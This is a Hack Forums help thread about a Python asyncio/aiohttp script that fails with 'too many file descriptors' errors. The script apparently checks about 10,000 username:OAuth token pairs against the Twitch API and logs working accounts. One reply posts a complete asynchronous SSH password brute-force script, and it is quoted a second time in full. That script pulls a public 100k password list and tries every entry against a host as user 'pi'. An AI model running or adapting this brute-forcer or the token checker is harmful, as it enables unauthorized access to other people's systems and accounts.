

Forum:[Hack Forums](#)

Thread: [\[HELP\] Why is my asynchronous program not running?](#)

Sympth - November 3, 2020, 3:30 am

So I wanting to make a new coroutine for each index in the text file (there is about 10k lines) I am hoping to have these request sent in parallel but I cant seem to achieve it. My current code only gets so far and then stop executing. It gets to print("Sending Request") then it stops and moves onto the next line in the text file.

Code async def get_id(sem, username, oauth):

.....

Hit the login endpoint so we can get the ID of each account we have. This will allow us to use the new twitch api.

.....

async with sem:

Oauth = oauth

oauth = f"Bearer {oauth}"

async with aiohttp.ClientSession() as session:

try:

print("Sending Request")

get_userID = await session.get('https://api.twitch.tv/helix/users?login=' + username,
headers={'Client-Id': '...', "Authorization": oauth})

parse_response = await get_userID.json()

print("Got Response")

USERID = parse_response["data"][0]["id"]

print("Got USERID")

print(f"Username: {username} | ID: {USERID} | Oauth: {Oauth}")

.....

This function writes our ID and some other useful info from the twitch api to the file.

.....

cwd = os.getcwd()

async with aiofiles.open(f"{cwd}/accounts/working_accounts.txt", mode="a") as
accountFile:

await accountFile.write(f'{username}:{USERID}:{Oauth}\n')

except:

pass

async def run():

sem = asyncio.Semaphore(limit)

cwd = os.getcwd()

ACCOUNTS = await read_file(f"{cwd}/accounts/accounts.txt")

.....

Our for loop to make a new coroutine for each line in our text file. (approx 10k)

.....

tasks = []

for account in ACCOUNTS:

formatAccount = account.split(":")

username = formatAccount[0].replace("\n", "")

oauth = formatAccount[1].replace("\n", "")

```
task = asyncio.ensure_future(get_id(sem, username, oauth))
tasks.append(task)
response = await asyncio.gather(*tasks)
```

```
if __name__ == "__main__":
    loop = asyncio.get_event_loop()
    loop.run_until_complete(asyncio.ensure_future(run()))
```

Any help is much appreciated, I have posted my issue on a few forums and discord servers and been ignored and I am at a road block with the code.

Its worth noting if I run the code just `asyncio.run()` when it sends the requests one at a time it works just fine. But this is far to slow for my linking and I dont want to use normal request with threads as its processing power intensive.

Lindros - November 3, 2020, 2:01 pm

Typically for multi threading I was taught to use `ThreadPoolExecutor`. It makes things pretty simple for multi threading. Idk how to do it the way you are.

Symph - November 3, 2020, 2:20 pm

(Nov 3, 2020 03:01 PM)Sozialistisch Wrote: [\[CITE\]](#) Typically for multi threading I was taught to use `ThreadPoolExecutor`. It makes things pretty simple for multi threading. Idk how to do it the way you are.

Yeah, I dont want to use multi threading as I want to do alot of http requests in a short amount of time and that is cpu intensive. The way I am doing it asynchronously if much more efficient if you can get it to work. I got it to execute so far now but it says `ValueError: too many file descriptors in select()` after doing about 500 http requests and I need it to do around 10k.

Lindros - November 3, 2020, 2:53 pm

(Nov 3, 2020 03:20 PM)Symph Wrote: [\[CITE\]](#) Yeah, I dont want to use multi threading as I want to do alot of http requests in a short amount of time and that is cpu intensive. The way I am doing it asynchronously if much more efficient if you can get it to work. I got it to execute so far now but it says `ValueError: too many file descriptors in select()` after doing about 500 http requests and I need it to do around 10k.

Ah, well there is `ProcessPoolExecutor` as well for CPU bound tasks. You can just pass it your `cpu.count()` or whatever and it manages the cores for you.

Sorry, wish I could help more. I'm sure someone else probably knows more about what you need.

vortalbox - November 4, 2020, 1:32 pm

This code uses a word list from github to attach ssh but you should get the idea. You'll want to chunk them here I do 100.

PHP Code

```
<?php
import asyncio, asyncssh
import requests
from time import time

raw_passwords = requests.get(
'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt').text

passwords = [line.strip() for line in raw_passwords.split()]
```

```

host = 'host'

loop = asyncio.get_event_loop()

def chunks(lst, n):
    for i in range(0, len(lst), n):
        yield lst[i:i + n]

async def check_password(password):
    print(f"Trying {password}")
    try:
        await asyncssh.connect(host, username='pi', password=password)
        print(f"[+] {password}")
        exit()
    except Exception as e:
        pass

if __name__ == "__main__":
    for chunk in chunks(passwords, 100):
        startTime = time()
        tries = asyncio.gather(*[check_password(password) for password in chunk])
        loop.run_until_complete(tries)
        print(f'chunk took {round(time() - startTime, 2)} seconds')

```

Harley Quinn - November 4, 2020, 3:15 pm

(Nov 4, 2020 02:32 PM)vorticalbox Wrote: [\[CITE\]](#) This code uses a word list from github to attach ssh but you should get the idea. You'll want to chunk them here I do 100.

PHP Code

```

<?php
import asyncio, asyncssh
import requests
from time import time

raw_passwords = requests.get(
'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt').text

passwords = [line.strip() for line in raw_passwords.split()]
host = 'host'

loop = asyncio.get_event_loop()

def chunks(lst, n):
    for i in range(0, len(lst), n):
        yield lst[i:i + n]

async def check_password(password):
    print(f"Trying {password}")
    try:
        await asyncssh.connect(host, username='pi', password=password)
        print(f"[+] {password}")

```

```
    exit()
except Exception as e:
    pass

if __name__ == "__main__":
    for chunk in chunks(passwords, 100):
        startTime = time()
        tries = asyncio.gather(*[check_password(password) for password in chunk])
        loop.run_until_complete(tries)
        print(f'chunk took {round(time() - startTime, 2)} seconds')
```

So you are sending requests in blocks rather than sending them all through at once?

vorticalbox - November 4, 2020, 3:42 pm

(Nov 4, 2020 04:15 PM)Harley Quinn Wrote: [\[CITE\]](#) So you are sending requests in blocks rather than sending them all through at once?

Exactly. Just like in node you don't just flood 1000's of promises into the event loop and expect it to work.

If the things you're hitting can handle it feel free to do 200,500,1000 chunks

Harley Quinn - November 4, 2020, 3:57 pm

(Nov 4, 2020 04:42 PM)vorticalbox Wrote: [\[CITE\]](#) Exactly. Just like in node you don't just flood 1000's of promises into the event loop and expect it to work.

If the things you're hitting can handle it feel free to do 200,500,1000 chunks

Of course that makes sense,i have around 2,500,000 requests to make, i think chunking them to around 500/chunk will be sufficient.

I need to look at my code though as it crashes on completion with a runtime error.

SIM-4378207 - November 5, 2020, 2:32 am

(Nov 3, 2020 03:20 PM)Symph Wrote: [\[CITE\]](#) Yeah, I dont want to use multi threading as I want to do alot of http requests in a short amount of time and that is cpu intensive. The way I am doing it asynchronously is much more efficient if you can get it to work. I got it to execute so far now but it says ValueError: too many file descriptors in select() after doing about 500 http requests and I need it to do around 10k.

I haven't read the whole code but if what you are doing is cpu intensive and you want to speed it up why don't you use multiprocessing? Asyncio is not for cpu bound programs.

<https://realpython.com/python-concurrency/>

vorticalbox - November 5, 2020, 3:11 am

(Nov 5, 2020 03:32 AM)Wortox Wrote: [\[CITE\]](#) I haven't read the whole code but if what you are doing is cpu intensive and you want to speed it up why don't you use multiprocessing? Asyncio is not for cpu bound programs.

<https://realpython.com/python-concurrency/>

network requests is an IO-bound task, not a CPU one. This task is better suited to async.

Not only will the async code be faster it will use far less memory.

Symph - November 6, 2020, 4:12 am

(Nov 3, 2020 03:53 PM)Sozialistisch Wrote: [\[CITE\]](#) Ah, well there is ProcessPoolExecutor as well for CPU bound tasks. You can just pass it your `cpu.count()` or whatever and it manages the cores for you.

Sorry, wish I could help more. I'm sure someone else probably knows more about what you need. Thanks, I will add chunks to my code and see if I can get it working. I was looking for something like this but couldnt find anything online.

(Nov 3, 2020 03:53 PM)Sozialistisch Wrote: [\[CITE\]](#) Ah, well there is ProcessPoolExecutor as well for CPU bound tasks. You can just pass it your `cpu.count()` or whatever and it manages the cores for you.

Sorry, wish I could help more. I'm sure someone else probably knows more about what you need. I added chunks to my code and no matter how small of chunks I do 10, 100, 250, 500 I tried I still get back the same runtime error as last time.

PHP Code

```
<?php
```

```
ValueError: too many file descriptors in select()
```

This is the most annoying error ever.

vorticalbox - November 6, 2020, 8:48 pm

(Nov 6, 2020 05:12 AM)Sympth Wrote: [\[CITE\]](#) Thanks, I will add chunks to my code and see if I can get it working. I was looking for something like this but couldnt find anything online.

I added chunks to my code and no matter how small of chunks I do 10, 100, 250, 500 I tried I still get back the same runtimeerror as last time.

PHP Code

```
<?php
```

```
ValueError: too many file descriptors in select()
```

This is the most annoyingerror ever.

I think this might be becuase of the asyn write to the file, it would be more efficient if you opened the file once at the top and then just write too it on a find.

Sympth - November 8, 2020, 4:33 am

(Nov 6, 2020 09:48 PM)vorticalbox Wrote: [\[CITE\]](#) I think this might be becuase of the asyn write to the file, it would be more efficient if you opened the file once at the top and then just write too it on a find.

I completely removed the async write to file part and I still run into this error.. I have asked around on discord servers and stackoverflow but everyone has ignored me and I have clue as to why I keep getting this.

vorticalbox - November 8, 2020, 8:29 am

(Nov 8, 2020 05:33 AM)Sympth Wrote: [\[CITE\]](#) I completely removed the async write to file part and I still run into this `_error_`.. I have asked around on discord servers and stackoverflow but everyone has ignored me and I have clue as to why I keep getting this.

Maybe this will help?

<https://stackoverflow.com/questions/47675410/python-asyncio-aiohttp-valueerror-too-many-file-descriptors-in-select-on-win#47689451>

xppmu - November 21, 2020, 12:07 pm

bare exceptions are bad practice for a reason. it is obviously returning errors but you just skip them

as if they mean nothing and move on to the next task.

Sympth - *December 4, 2020, 1:04 am*

My issue was kind of a pain to fix, my fix was to use the proactor event loop as this will mainly be run on a windows machine aswell as chunking it in.